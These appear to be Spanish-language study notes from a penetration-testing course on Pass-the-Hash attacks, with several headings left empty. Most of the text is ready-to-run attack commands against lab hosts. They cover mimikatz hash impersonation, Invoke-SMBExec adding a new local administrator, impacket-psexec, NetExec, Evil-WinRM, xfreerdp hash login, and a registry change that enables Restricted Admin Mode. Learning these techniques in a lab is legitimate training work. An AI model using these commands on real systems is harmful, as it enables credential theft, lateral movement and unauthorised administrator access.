Pass the Hash (PtH)

📌 ¿Qué es?


📥 Obtención de hashes

Para poder usar PtH necesitamos primero obtener los hashes de usuarios. Algunos métodos:


🔐 NTLM


🖥️ Ataques en Windows

🧩 Mimikatz

mimikatz.exe privilege::debug "sekurlsa::pth /user:<usuario> /rc4:<hash> /domain:<dominio> /run:cmd.exe"

📌 Resultado → se abre un cmd.exe con contexto del usuario suplantado.
{370A4041-056F-4FD6-AF94-D8B3B46D8301}.png


⚡ PowerShell – Invoke-TheHash

Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash <HASH> -Command "net user mark Password123 /add && net localgroup administrators mark /add"

✅ Permite incluso crear usuarios o lanzar reverse shells.


🐧 Linux

🛠️ Impacket (psexec)

impacket-psexec administrator@10.129.201.126 -hashes :<HASH>

📌 Otras variantes:


🌐 NetExec

netexec smb 10.129.201.126 -u Administrator -H <HASH> -x whoami

✅ Si muestra Pwn3d!, acceso admin local.

🕹️ Evil-WinRM

evil-winrm -i 10.129.201.126 -u Administrator -H <HASH>

🖥️ RDP con xfreerdp

xfreerdp /v:10.129.201.126 /u:julio /pth:<HASH>

📌 Requiere Restricted Admin Mode habilitado.
{CBCBC986-97F4-43D2-8579-792A4DB5032F}.png
📌 Requiere Restricted Admin Mode habilitado.
{6687FB3F-D86C-425C-8EA7-C941B21C3E0B}.png
Esto se puede habilitar agregando una nueva clave de registro DisableRestrictedAdmin (REG_DWORD) en HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa con el valor de 0. Se puede hacer usando el siguiente comando:

reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

{AB7CAB60-5E48-4963-99A6-DCC95208E7DA}.png


⚠️ Limitaciones UAC